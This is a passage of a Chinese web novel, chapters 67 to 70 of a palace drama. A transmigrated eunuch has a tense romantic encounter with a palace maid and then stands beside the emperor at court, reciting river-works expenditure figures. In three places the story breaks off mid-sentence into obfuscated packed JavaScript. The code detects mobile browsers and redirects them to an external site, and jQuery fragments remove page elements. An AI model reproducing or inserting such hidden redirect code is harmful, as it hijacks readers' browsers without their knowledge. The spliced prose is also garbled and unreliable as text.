“关、禧。”楚玉一字一顿,极缓地念出这个名字,气息拂在他的唇上,“陛下赐的名?倒是比小离子好听不少。” 她的拇指,摩挲了一下他的颧骨。 所有的伪装,所有的理智,所有关于陷阱算计,风险的权衡,在这一刻被这两个字和她指尖这点微不足道的触碰彻底击碎。 仿佛一直紧绷到极致的弦,嘣然断裂。 关禧抬起手,一把攥住了她抚在自己脸上的手腕。力道很大,几乎要捏碎她的骨头。楚玉几不可察地蹙了下眉,眼神深暗。 下一秒,关禧俯身,狠狠地吻住了她的唇。 这是一个毫无章法,甚至称得上粗暴的吻。他撬开她的牙关,攻城略地,气息灼热,与她的冰冷形成鲜明对比。他另一只手扯掉了碍事的兜帽,手指插入她脑后梳理得一丝不苟的发髻,扯散了束发的银簪,乌发如瀑般散落下来。 楚玉的背脊撞在了身后的石壁上,发出一声闷响,她挣扎了一下,但力道微弱,很快便停止了抵抗,甚至,在他滚烫的唇舌肆虐间,她开始试探性地回应,手臂环上了他的脖颈,指尖陷入他鸦青色的衣料,颤抖着。 洞穴内一片死寂,只有两人急促交织的喘息声和衣料摩擦石壁的窸窣声。 这个吻漫长,直到两人肺里的空气都快被榨干,关禧才喘息着略微退开,额头抵着她的额头,鼻尖相触,灼热的气息交融。 昏暗的光线下,他看见楚玉散乱的发丝贴在她汗湿的额角和脸颊,平日冷冽如冰的眸子氤氲着一层薄薄的水雾,眼尾染上了动人的绯红,淡色的唇瓣被他蹂躏得红肿,微微张开,急促地呼吸着,那张总是没什么表情的清冷脸庞,此刻竟被浸染出一种恍惚的靡丽。 “楚玉,”他沙哑地唤她,“你到底想怎么样?” 楚玉伸出手,用指尖擦过他同样红肿的唇角,拭去一点暖昧的水渍。然后,她的手臂重新环上他的脖颈,将他的头拉低,贴近自己的耳畔。 温热的气息喷洒在他敏感的耳廓,她终于开口,声音比刚才更勾人: “别问……关禧。今晚,什么都别问。” 67.第 68 章 洞穴内,压抑的喘息尚未平复。 楚玉那句带着温热吐息的“别问”,像羽毛搔过关禧的耳廓,也像一把浸了蜜的钩子,暗暗拖着他往更深的沉沦里坠。她的手臂环着他的脖颈,指尖陷入他肩背的衣料,那点力道透过厚实的冬衣传来,比直接的肌肤相触更让他心神剧震。 情迷意乱。 是的,有那么一刹那,他的确被这黑暗,这寒冷,这熟悉的气息与反常的靡丽所捕获,只想顺从身体深处翻涌的本能不管不顾地沉下去。 就在他的唇即将再次落下,手臂也本能收紧的瞬间,眼底最后一丝清明,如冰锥般陡然刺穿滚烫的迷雾。 那是属于关禧的清醒:来自异世,背负秘密,挣扎求生,刚刚站稳脚跟,绝不能在此时行差踏错。 他蓦地吸了一口气,寒气刺骨,激得肺腑生疼。随即攥住楚玉环在他颈后的手腕,用力,将她从身上扯开,推离。 楚玉猝不及防,后背再次撞上冷硬的石壁,发出一声闷哼。散乱的黑发披散下来,遮住了她大半张脸,只露出红肿的唇,和那双瞬间褪去氤氲水雾,重新凝结成冰,比冰更刺骨的眼眸。 洞穴内陷入死寂,只有两人尚未平复略显凌乱的呼吸声。 关禧退后两步,胸膛起伏,兜帽早已滑落,露出他苍白中泛着不正常红晕的脸,以及那双写满了挣扎后怕和强行镇定的凤眼。他抬手,用指节狠狠蹭过自己同样红肿发烫的嘴唇。 “不行。”他开口,声音沙哑得厉害。 楚玉缓缓站直身体,抬手将颊边散乱的发丝拢到耳后,动作很慢,仿佛刚才那个意乱情迷,几乎化在他怀里的人不是她。 “不行?”她重复,唇角勾起一个极尽讥诮的弧度,那笑容比这洞穴里的石头更冷,“关公公这是怎么了?方才不是还很投入么?怎么,是忽然想起自己如今身份不同,是御前红人,碰不得我这卑贱宫女了?” 她向前逼近一步,目光如刀,刮过关禧脸上每一寸细微的表情:“还是说……在乾元殿伺候久了,真把自己当成了陛下的身边人,连女人都不敢碰,也不会碰了?” 关禧的瞳孔骤然收缩,浑身的血液在这一刻冲上头顶,又被这句话里隐含的侮辱和曲解冻得冰凉,那不仅仅是嘲讽他太监的身份,更是在质疑他作为一个人最根本的取向和认知,暗指他与皇帝有染。 “你胡说什么!”他厉声打断她,声音因激动而拔高,在洞穴里激起回响,“我只喜欢女人!从来都是!” 话一出口,他自己先怔了一下。这本是灵魂深处最真实的呐喊,是对穿越以来这具身体带来所有屈辱和混乱的本能辩白,但在此刻此景,对着楚玉说出来,显得如此苍白无力,甚至有些可笑。 “哦?只喜欢女人?”果然,楚玉脸上的讥消更深了,早就料到他会如此反应,她慢条斯理地反问,“那方才……算是证明?还是说。关公公这喜欢,也得看人下菜碟,对着某些特定的人……比如陛下,就不作数了?” “我没有!”关禧脱口而出,被这接连的污蔑逼得口不择言,急于剖白,“陛下从未碰过我!他拿我有别的用……”最后一个“处”字尚未出口,他猛地刹住。 坏了! 他刚才说了什么?! “他拿我有别的用处” 这句话像一道惊雷,劈在他自己脑海里,震得他耳鸣眼花,四肢冰凉。这是绝不能在任何人面前透露的隐情,是皇帝与他之间心照不宣的默契,更是他未来或许安身立命,也可能万劫不复的根源。 他竟然……竟然在楚玉的连番刺激下,情绪失控,说了出来。 楚玉脸上的讥消,在听到他最后半句戛然而止的话时,那双深褐色的眸子在昏暗光线下,亮得慑人,像发现了猎物的鹰隼,牢牢钉在他失血的脸上。 时间在令人室息的死寂中流淌,每一秒都像刀子在凌迟关禧的神经。 不知过了多久,也许只是几个呼吸,楚玉终于动了一下,向后退了半步,重新隐入石壁更深的阴影里,她开口,声音已经恢复了平日的疏离: “看来,关公公果然今非昔比。是我僭越了。” 她屈膝,行了一个标准到无可挑剔的宫礼。 “今夜风雪甚大,关公公还是早些回去吧,以免着了风寒,耽误了陛下的用处。” 最后两个字,她咬得极轻。 眼见楚玉转身就要没入更深的黑暗,那句“陛下的用处”像冰锥还扎在耳膜上,关禧脑子一空,身体先于思考做出了反应。 他上前一步,伸出手,没有去抓她的手腕,那太强硬,太像某种对峙。指尖在空气中蜷缩了一下,最终,勾住了她垂在身侧那只手的小拇指。 触感冰凉,纤细。 楚玉的脚步顿住了。 “……就这样走了?”关禧的声音响起来,比他预想的要低,要哑,“你特意约我出来……冒着这么大的风险,就只是为了……说这些,然后走掉?” 他小心翼翼地勾着她的指尖,像怕碰碎了什么,又像溺水的人勾住最后一根浮木。语气里的那点委屈,泄露了他坚硬外壳下猝不及防的裂缝,他猜不透她,今夜的一切都脱离了掌控,包括他自己刚才的失控。 楚玉的背影在昏暗的光线里僵硬着,被他勾住的小拇指几不可察地蜷缩了一下。 洞穴内只剩下两人轻浅交错的呼吸声,和洞外风雪呜咽的闷响。 良久,久到关禧以为她不会回答,指尖那点微弱的联系也将断绝时,楚玉叹息般地开了口: “不然呢?” “不然……我该说什么?说娘娘让我试探你对旧案还有多少把握?说司礼监的周如意今日并非偶遇,他的攀谈里藏着多少算计?还是说……”她顿了顿,语速慢下来,一字一句,“说我看见你在北苑,远远看着那个叫石头的小太监,然后头也不回地走掉?” 关禧的心一沉。她看见了,她那时也在北苑?还是后来听人说的?她提起小石头是什么意思?是提醒他冷血,还是…… 没等他想明白,楚玉继续说了下去,声音更轻,更像自语:“关禧,你走得很快,爬得也很高。高到……我快看不清了。” “你问我有什么目的?”她终于转过身,被他勾住的小指顺势滑脱,雪光吝啬地映亮她半边脸,那上面没有任何讥诮或冰冷,“如果我说没有呢?如果我说,我只是……” 她抬起眼,目光再次与他对上。 “……只是太累了。累到不想再猜,不想再算,不想管什么娘娘的吩咐、司礼监的动向、太后的杀意……哪怕就这一会儿。” “我只是……想看看你。”她看着他,目光描摹过他惊愕的眉眼,挺直的鼻梁,最后落在他被她咬得红肿未消的唇上,眼神黯了黯,“看看这个从我手里出去,如今在刀尖上走得稳稳当当的关禧,是不是真的什么都忘了,是不是……真的变成了另一个人。” 她扯了扯嘴角,露出一个惯常的笑,“看来是我多事了。你很好,比我想象的还好。懂得审时度势,懂得藏锋守拙,也懂得及时推开不该碰的东西。” 最后一句,不知是在说他推开她,还是在说别的。 关禧怔怔地看着她,所有准备好的说辞,所有的警惕和算计,在她这番坦白面前,土崩瓦解。他想起她总是挺得笔直的背脊,想起她一丝不苟的发髻和永远平稳无波的语调,想起她在冯媛身边那种既是盾又是剑的完美模样…… 原来那下面,压着这样的疲惫。 原来今夜这场冒险的约见,可能真的没有复杂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100198|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴谋,只是一个压抑太久的人,在风雪之夜,循着心底那点说不清道不明的牵绊,想做一刻楚玉,而不是青黛。 这个认知让他心头酸胀得厉害,方才被激起的怒气和羞耻潮水般退去。 他张了张嘴,千言万语堵在喉咙口,最终只涩然吐出一句:“……对不起。” 为刚才的粗暴,也为那句险些脱口而出的秘密,更为他一直以来,或许有意无意地将她置于对手或隐患的位置去揣度。 楚玉没料到他会道歉,睫毛颤了颤,别开视线。 “没什么对不起的。”她语气恢复了些平静,也不再有那股子刻意拉开的距离感,“你说得对,这里太冷,也太危险。该回去了。” 她说着要走,脚下却没动。 关禧也没动。 两人就这么面对面站在狭窄幽暗的石隙里,听着彼此近在咫尺的呼吸,和洞外越发凄厉的风雪声。 然后,关禧再次伸出手。 这一次,他试探地握住了她垂在身侧的手。 楚玉的手一僵,没有挣脱。 关禧用自己温热的掌心,包裹住她冰凉的手指,一点一点,坚定地握住。这个动作不带有任何情欲的意味,更像是一种笨拙的安慰和确认。 “楚玉,”他叫她的名字,“我没忘。” 没忘什么?是没忘她曾经的教导?没忘那晚的暖阁?还是没忘她这个人本身? 他没有明说,楚玉也没有问。 她只是任由他握着,低垂着眼帘,看着两人交握的手,他温热,她冰凉,界限分明,又奇异地贴合在一起。半晌,她回握了一下,力道很轻,一触即分。 “……傻子。”她低声说,语气复杂难辨。 “嗯。”关禧应了,握着她手的力道紧了紧,仿佛怕她下一秒就会抽走,消失在这黑暗里。 又沉默了片刻,楚玉抽回了手。这一次,关禧没有再坚持。 “真的该走了。”楚玉整理了一下自己散乱的衣服和头发,动作恢复了惯有的利落,只是眼角眉梢那抹挥之不去的倦意,在微弱的光线下无所遁形,“陛下既然有用处给你,你就好好当你的差。李婕妤的案子适可而止吧,太后已经警觉了。徐昭容那边……自有她的因果。” 这是提醒,也是告诫。 “我明白。”关禧点头。 楚玉最后看了他一眼,那一眼很深,似乎想把他此刻的样子刻进脑海里。然后,她转身,朝着洞穴另一个方向走去。 “楚玉!”关禧忍不住又叫了她一声。 她的背影顿了顿。 “……小心周如意。也……照顾好自己。” 楚玉没有回头,极轻地“嗯”了一声,身影便迅速被洞穴的黑暗吞没,脚步声渐行渐远,最终消失不见。 关禧独自站在原地,指尖还残留着她冰凉的触感,唇上属于她的气息和痛感犹在,耳边回荡着她疲惫的剖白。 风雪依旧在洞外呼啸。 他站了很久,直到手脚都冻得麻木,才拉起兜帽,循着原路,一步一步,走出这片吞噬了短暂真实与温情的黑暗。 回到乾元殿东厢时,雪已积了薄薄一层。 他推开门,屋内炭火将熄未熄,一片清冷。贵平趴在桌边睡着了,听到动静猛然惊醒。 “公公,您回来了!”贵平连忙起身,脸上带着担忧。 “嗯。”关禧应了一声,脱下沾了雪沫的斗篷,声音有些哑,“没事,下去歇着吧。” 贵平不敢多问,收拾了一下,躬身退了出去。 关禧走到窗边,望着外面无尽的黑夜与飞雪。 掌心似乎还残留着那一点冰凉柔软的触感。 他缓缓握紧了拳。 还得往前走。 68.第 69 章 雪后初霁,乾元殿的琉璃瓦覆着一层洁净的银白,在晨光熹微中泛着冷冽的光。 关禧站在寝殿外间的阴影里,背脊挺得笔直,眼底有极淡的青影,被低垂的眼睫巧妙地掩去大半,身上穿着与这肃穆殿堂相称的靛蓝云纹随堂太监服,料子厚实挺括。 自那夜御花园假山洞跟楚玉隐秘会面后,萧衍对他,有了些不同。 起初是夜里的传唤增多。不再仅仅是书房研墨,整理文书,有时皇帝批阅奏章至深夜,乏极了,会让他留在外间值夜,听着里面的动静,随时准备伺候茶水,添换烛火,传递急需的文书。龙涎香的气息在深夜格外浓郁,混合着墨香和年轻帝王身上那种说不清的气息,沉沉地压在外间的空气里。 关禧一开始是紧绷的。 值夜意味着更近的距离,更私密的空间。他时刻提防着那曾无数次恐惧并演练过如何应对的侍寝时刻。每当听到内间传来衣物悉索或起身的声响,他的背脊就会下意识地绷紧,袖中的手悄悄握拳。 但萧衍始终没有跨过那条线。 皇帝似乎真的只是需要一个安静可靠,且在他疲惫时不会用多余眼神或言语打扰的活物守在近处。有时萧衍会隔着屏风或垂帘,问一些无关紧要的问题,譬如“外面雪停了么”,或是对着某份奏章自言自语般评价一句“蠢材”。 关禧的回答永远简洁恭谨,恰到好处,绝不多说一个字,也绝不流露半分超出奴才对主子的关切。 渐渐地,关禧那根紧绷的弦松了些。他有些自嘲地想,或许真是自己见识太少,把这深宫帝王想得过于急色了。看萧衍那被政务压得眼下常带青黑,眉宇间凝着化不开沉郁的样子,怕是也没那么多闲情逸致。自己这份守夜的差事,大概就跟现代社畜被老板要求临时加班差不多,环境压抑点,老板脾气莫测点,但好歹暂时没有潜规则的风险? 心态一调整,行事便更从容。他值夜时,呼吸放得轻而匀,脚步挪动如猫,斟茶递水的动作精准无声,连整理散乱书卷的次序都自有章法。 萧衍偶尔抬眼,透过烛光能看到外间那道安静如剪影的靛蓝色身影,莫名觉得那片空间都因这沉默高效的存在而显得秩序井然,令人心绪稍宁。 然后,这倚重便从夜晚蔓延至白天。 萧衍开始习惯在清晨起身时,让关禧进入内室伺候。更准确地说,是协助更衣。这差事原本由几个手脚最麻利稳妥的老太监负责,但不知从何时起,萧衍会挥退他们,只留关禧。 第一次被唤入内室,直面只着明黄寝衣,长发未束的帝王时,关禧的心脏几乎跳停。龙榻锦帐低垂,空气中弥漫着安神香未散尽的气息,以及属于年轻男性晨起时特有的混合着体温淡淡味道。他垂着眼,按照记忆中恶补过,以及暗中观察老太监学来的步骤,小心翼翼地为皇帝套上中衣,系好衣带,再捧来外袍。 萧衍伸展手臂,配合着他的动作,目光落在他因专注抿起的唇,和那截从挺括袖口露出稳定托着沉重袍服的白皙手腕上。皇帝什么也没说,只是在那天早朝后,赏了他一对成色极好的羊脂玉扳指,说是“伺候得宜”。 关禧捏着那对冰凉滑腻的扳指,心里那点残余的忐忑,化开了些。既然皇帝明确将这定位为伺候得宜的赏赐,而非某种暖昧的暗示,那他何必自己吓自己?就当是工作内容扩展,从文书助理升级到生活秘书,虽然服务对象是天下至尊,压力大了点,但本质上还是加班呗。 他很快找到了节奏。每日寅时三刻准时出现在寝殿外,当值的宫女太监会递上已熏暖的帝王常服或朝服。他接手,进入内室。 萧衍通常已经起身,有时站在窗前望着未亮的天色,有时坐在镜前任宫女梳理长发。 关禧便静候一旁,待发髻梳好,再上前更衣。 他的动作越来越熟练流畅,指尖拂过华贵织物上的龙纹时不再颤抖,为皇帝调整腰封玉带时也能保持呼吸平稳。他甚至开始能根据萧衍当日的神色和偶尔透露的日程,判断该递上哪件外袍,搭配哪条绶带。萧衍对他这种体贴颇为受用,虽从未明言夸赞,但关禧能感觉到,清晨这段时光里,皇帝周身那种惯常的威压,会稍稍淡化些许。 一切都在朝着好的方向滑行。 关禧在乾元殿的地位越发稳固,孙得禄见了他,笑容里多了几分真切的谨慎,司礼监那边诡异的安静,连永寿宫也暂时收回了触角。他白天处理文书,协助皇帝初步梳理奏章要点,夜里时常值宿,清晨伺候更衣。 直到这个同样积雪未融,寒气砭骨的清晨。 寅时三刻,天色如墨,只有廊下宫灯在寒风中摇晃出昏黄的光晕。关禧如常踏入寝殿内室。萧衍已由宫女伺候着梳好了发,戴上翼善冠,正背对着他,望着铜镜中自己模糊的影像。明黄色的寝衣松松披着,露出线条清晰的肩颈。 “今日大朝。”萧衍忽然开口。 关禧正从宫女手中接过那件玄黑为底,绣十二章纹,庄严沉重的衮服,闻言手上动作顿了一瞬,旋即恢复如常,恭敬应道:“是。” 大朝仪,文武百官齐聚,非同小可,皇帝特意提及,是提醒他更需谨慎。 他上前,展开那件分量不轻的衮服。萧衍配合地转过身,伸展手臂。关禧熟练地将衣袍套上,手指灵巧地系着内侧繁复的丝绦。衮服的料子厚重挺括,刺绣华丽繁复,每一道纹路都象征着无上权威。他半跪下来,为皇帝整理下摆,抚平每一丝褶皱,动作一丝不苟。 殿内极静,只有衣料摩擦的窸窣声,和远处隐约传来为早朝做准备的宫廷雅乐序音。 就在关禧系好最后一根玉带钩,准备退开时。 “今日,”萧衍的声音不高,却像一颗石子投入凝滞的水面,“你随朕上朝。” 关禧系着玉带钩的手指,骤然僵住。 随驾上朝? 不是像往常那样,在乾元殿书房或暖阁伺候笔墨,不是在寝殿值夜更衣,而是踏入前朝举行最隆重典礼的金銮殿?站在那御阶之上,丹墀之侧,于百官瞩目之下? 能跟着皇帝一起上朝的太监是什么地位? 司礼监掌印秉笔,有内相之称,或许有资格在殿侧设案记录,或于皇帝有特别旨意时出列传话。但那也是极少数,且位置固定,职责明确。而他关禧,一个并无具体朝仪职司的随堂太监,皇帝却要他“随朕上朝”? 这绝不是简单的带在身边。这是一个信号,一个将他从内廷服侍的私人领域,骤然推向帝国政治权力公开核心地带极其醒目且充满争议的举动。 是恩宠滔天,也是将他彻底架在火上炙烤。 萧衍的目光落在他失血的面颊上,欣赏他极力克制却仍从眼底泄露出的惊涛骇浪,随即勾了一下唇角,那笑意短促,难以捉摸。 关禧的喉咙像是被冰雪堵住,他强迫自己迅速眨了下眼,压下心头翻涌的震骇,以最恭顺的姿态,将最后一个玉带钩扣得严丝合缝,然后退开两步,垂首躬身。 “奴才遵旨。” 萧衍不再看他,转过身,对着铜镜最后审视了一下自己的仪容。 镜中的帝王,头戴翼善冠,身着玄黑十二章纹衮服,腰束金玉革带,通身上下散发着凛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116204|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然不可侵犯的威仪,与方才穿着寝衣时的模样判若两人。 “走吧。”萧衍淡淡吐出两个字,迈步向外走去。 关禧深吸一口气,抬步,紧紧跟在萧衍身后半步之遥的位置。跨出寝殿内室的门槛时,他下意识地挺直了背脊,将脸上所有多余的情绪尽数收敛,只余下一片沉静如水的恭谨。 廊下,等候的仪仗早已齐备。侍卫执戟肃立,宫灯成行,在黎明前最深沉的黑暗中辟出一条光芒之径。孙得禄垂手立在最前,见到关禧竟紧随皇帝身后步出,眼中闪过一丝难以置信的愕然,随即迅速埋下头,不敢多看。 萧衍登上御辇。关禧的位置被安排在了御辇侧后方,一个极其贴近,足以让所有参与朝会的官员都能清晰看到的位置。这个位置,通常属于最得信任的贴身内侍或记录近臣。 天光渐亮,雪后的宫道泛着清冷的白。仪仗起行,庄严肃穆的礼乐声愈发清晰。穿过一道道宫门,沿途遇到的官员越来越多,品阶也越来越高。无数道目光扫过御辇,最终都凝固在御辇侧后方那个穿着靛蓝云纹太监服,身姿挺秀,面容沉静得近乎漠然的年轻太监身上。 惊疑,揣测,忌惮,审视,不屑……种种复杂的情绪在那些低垂的眼帘下飞快交换,关禧能感觉到那些目光的重量,像冰冷的雪粒打在脸上,他目不斜视,视线固定在御辇华盖垂下的一缕流苏上,随着步辇的起伏微微晃动。 金銮殿巍峨的轮廓出现在前方。汉白玉基座高耸,重檐庑殿顶在渐亮的天光中显出恢弘气势。丹墀之下,文武百官按品阶肃立,黑压压一片,鸦雀无声。 御辇在殿前广场停下。萧衍下了御辇,迈步走向那通往至高权力的漫长御阶。 关禧跟在他身后,踏上坚硬的汉白玉台阶。 一步,又一步。他能听到自己心跳在耳鼓中搏动,也能听到身后那一片死寂中压抑的呼吸声。 终于,他随着皇帝,跨过了那扇象征天下权力核心,雕刻着九龙腾云图案的巨型殿门。 殿内恢弘空旷,鎏金蟠龙柱支撑着高阔的穹顶。御座设在高高的丹墀之上,铺着明黄绣龙坐褥。两侧设有稍矮的席位和案几,那是为宗室王公,勋贵重臣所设。丹墀之下,百官分列左右,文东武西,秩序井然。 萧衍稳步走向御座。关禧的步履没有丝毫迟疑,跟着他,一路走到了丹墀之上,御座之侧。那里,原本设有司礼监秉笔太监的记注案,但今日,那张案几被稍稍挪开了一些,在更靠近御座,视野极佳的位置,添设了一张更小,更简朴的酸枝木椅。 萧衍在御座落座。关禧在他目光示意下,走到了那张酸枝木椅旁,垂手肃立,微微低着头,姿态恭谨至极。但他的存在本身,已经足够醒目。 丹墀之下,百官的目光不由自主地飘向了那秉笔太监,郑保,他早已肃立案后,身着绛紫绣蟒贴里,神态雍容,目光低垂,仿佛只是殿内一件不可或缺的陈设。 这本身便是太后权倾朝野的鲜明印记:秉笔太监非但随朝,更于御阶之侧设案记注,聆听政事,其影响力直透前朝。整个司礼监,自上而下,谁人不知是永寿宫的耳目与喉舌? 郑保脸上挂着无可挑剔略显圆滑的微笑,对御座旁突然多出的那个年轻太监毫不在意。只有站在他侧后方,随堂太监周如意,眼角细微地抽搐了一下,盯着关禧背影的眼神,阴冷如毒蛇。 “陛下驾到——众臣早朝——”鸿胪寺官员悠长的唱喏声,打破了殿内寂静。 百官齐刷刷跪倒,山呼万岁。 声浪如雷,在金銮殿高大的穹顶下回荡。 69.第 70 章 山呼万岁之声如潮水般退去,金銮殿内重归肃穆。 萧衍端坐于御座之上,玄黑衮服上的十二章纹在殿内煌煌灯火下威严流转,他的目光扫过丹墀之下黑压压的臣工,掠过那些或恭顺或隐现思虑的面孔,最终,落向身侧那个垂手而立的靛蓝色身影一瞬,随即收回。 “众卿平身。” 早朝按部就班地进行。 各部院依序奏事,多是年关节下的例行公事:户部禀报各地钱粮冬赋入库情形,兵部陈说边关冬防布置,礼部奏请元旦大典仪程……萧衍或问一二细节,或直接准奏,处理得快速。 一切与往日并无不同。 但所有有心人都能感觉到那微妙的不同,御座之侧,那张多出来的酸枝木椅,以及椅子上那个过分年轻,面容沉静,甚至带着几分阴柔俊美的太监,自始至终没有发出任何声音,可偏偏是这种沉默的存在,比任何言语都更牵动神经。 司礼监秉笔太监郑保,稳稳坐在他的记注案后,笔尖悬于纸面,记录着朝议要点。他面色如常,偶尔还会抬眸望向御座,眼神恭顺。只有离他极近的人,或许能察觉他握笔的指尖,在记录某些无关紧要的条目时,会有一丝难以察觉的凝滞。 站在郑保侧后方的随堂太监周如意,则远没有这份养气功夫。他眼角的余光就像淬了毒的钩子,一次又一次地刮过关禧挺直的背脊和低垂的侧脸。一个不知从哪里冒出来的小子,就因为得了陛下几分青眼,竟敢站到这等位置上来?御前伺候笔墨已是破格,如今竟登堂入室,立于朝堂,这让司礼监,让他们这些在御前经营多年的老人,颜面何存? 文官队列中,气氛同样微妙。以首辅柳文正为首的清流老臣,多数目不斜视,神色肃然,仿佛全然未察觉御阶上的那点变化,但紧绷的嘴角,蹙起的眉心,泄露了他们内心。 阉宦立于朝堂,本非正道,即便只是侍立,亦是逾矩。何况此人如此年轻,如此……貌若好女,难免让人联想到那些不堪的宫闱传闻。一些较为年轻的御史,已按捺不住,彼此交换着眼神,只待时机。 武勋队列则相对漠然,几位老将军眼观鼻鼻观心,他们对太监没什么好感,更关心边饷和冬防。只要不触及军中利益,皇帝身边多个把阉人,他们懒得置喙。 就在一份关于河道岁修款项的奏议即将结束时,一直沉默的萧衍忽然开口,打断了工部尚书的禀报。 “且慢。” 方俊义一愣,躬身:“陛下?” 萧衍的目光似是随意地转向身侧:“关禧。” 这一声不高,却如投石入水,瞬间打破了殿内维持的平静。无数道目光骤然聚焦,齐刷刷射向御阶之上那个靛蓝色的身影。 关禧面上沉静如故,向前半步,深深躬身:“奴才在。” “方才工部所奏,去岁淮扬段河道岁修,实际支银几何?较之预算,是增是减?主要超支在何处?”萧衍的声音平淡,仿佛只是在考校一个寻常的书吏。 可这个问题,让丹墀下的方俊义额角见了汗。河道岁修,其中猫腻众多,预算虚报,层层克扣乃是常事,皇帝平日查问,多是宏观数目,何曾如此具体?且是问一个太监? 关禧微微闭目,脑中飞速运转。这些日子他整理,经手过无数卷宗,其中恰有工部近年的奏销汇总。他记忆力本就超群,加之刻意留心,那些枯燥的数字如刻印般清晰。 殿内落针可闻,所有人都屏息等待着,看这个骤然被推到台前的太监如何应对。 不过两息,关禧睁开眼,声音清晰平稳地响起:“回陛下。据永昌五年工部奏销黄册所载,去岁淮扬段河道岁修,原预算银十八万五千两,实际核准支取二十一万三千四百七十二两有奇,超支两万八千四百七十二两有奇。超支款项,主要见于三处:其一,采买青条石料,因石质要求上乘,产地路远,单价较往年上浮三成,此项多支约九千两;其二,雇募民夫工食银,因去岁灾民多,以工代赈,增募两成,多支约六千两;其三,杂项物料及不可预见支应,计一万三千四百七十二两有奇。” 他一口气报出,数字精确到两钱,分毫不差,连超支的名目和大致缘由都说得清楚。 殿内顿时响起一阵压抑不住的吸气声。 方俊义脸色白了又青,青了又白。这些数字他自然心中有数,但被一个太监在朝堂上如此清晰地道出,尤其那最后一项含糊的不可预见支应,简直当众扇了他一记耳光。 他扑通一声跪下:“陛下!此……此乃……” “朕没问你。”萧衍淡淡打断他,目光依旧落在关禧身上,“记得倒清楚。依你看来,这三项超支,可都合理?” 这已不是考校,简直是询问意见了,一个太监,竟敢妄议国家工政开支? “陛下!”一名御史终于忍不住,出列高声奏道,“此乃朝堂议政,国家度支,自有户部、工部诸臣工详议,岂容阉寺之辈置喙?此例一开,恐非国家之福!臣请陛下收回此问,并令此内侍即刻退出朝堂,以正视听!” 有人带头,立刻又有几名年轻气盛的文官出列附和,言辞激烈,直指宦官干政,违背祖制。 萧衍面无表情地听着,指尖在御座扶手的龙首上敲击。 待那几名御史说得差不多了,他才缓缓开口: “朕不过问了他几句文书上记载的数字,核实一下工部所奏是否清晰,诸卿便如此激动,一口一个阉寺干政、违背祖制?”他目光扫过那几名御史,最后落在首辅柳文正身上,“柳先生,朕记得,司礼监秉笔随朝记注,聆听政事,亦是祖制。郑保在此坐了多年,诸卿可曾说过半个不字?” 柳文正出列躬身,声音沉稳:“陛下明鉴。司礼监随朝,乃为记录圣谕朝议,以备查考,乃内廷职司,确有旧例。然内侍当众评析部院政务开支,确乎……罕见。” 他话说得圆滑,既点出了司礼监在场的合法性,又含蓄地表达了对此事的不认可。 萧衍“嗯”了一声,接受了这个说法,转而看向关禧:“关禧,御史所言,你可听见了?你有何话说?” 压力再次给到关禧。此刻,他若退缩,便是承认自己僭越,不仅自己颜面扫地,皇帝方才的举动也会成为笑柄。他若辩解,便是坐实了干政之嫌。 关禧吸了一口气,抬起头,望向御座上的萧衍: “陛下,奴才惶恐。奴才微贱,岂敢妄议国政。方才所言,不过是将陛下让奴才整理、誊录过的工部旧档黄册上所载数字,照本宣科,复述于陛下面前。奴才只知,陛下交办核对文书之责,奴才便需将文书所载,记得清清楚楚,分毫不差。“ “至于数字背后缘由是否合理,开支是否妥当,此乃各位大人职责所在,奴才愚钝,一字不敢妄评,更不敢有丝毫越权之心。” “奴才在御前,唯有勤谨二字,陛下让奴才看文书,奴才便看文书;陛下让奴才记数字,奴才便记数字。今日陛下垂询,奴才斗胆复述,若有冒犯诸位大人之处,实非本意,恳请陛下与各位大人恕罪。” 这一番话,说得滴水不漏。首先将一切归于奉旨办事,核对文书,将自己定位成一个纯粹的记忆和执行工具,剥离了任何主观评判的色彩。然后强调不敢妄评,不敢越权,直接回应了御史干政的指控。最后以请罪收尾,姿态放得极低,却绵里藏针 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117872|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我不过是按陛下的吩咐做事,复述文书内容,何罪之有?若真有罪,岂不是说陛下让我做事错了? 果然,那几名御史一时语塞。关禧确实没有议政,他只是在复述文书。难道皇帝让身边太监记几个数字,也有错? 萧衍眼底掠过一丝愉悦的神色,快得无人捕捉,他摆了摆手:“罢了。你职责所在,何罪之有。”又看向方俊义和那几名御史,“数字核对清楚,便于朝议。工部超支之事,后续再上详细条陈。今日朝议,继续。” 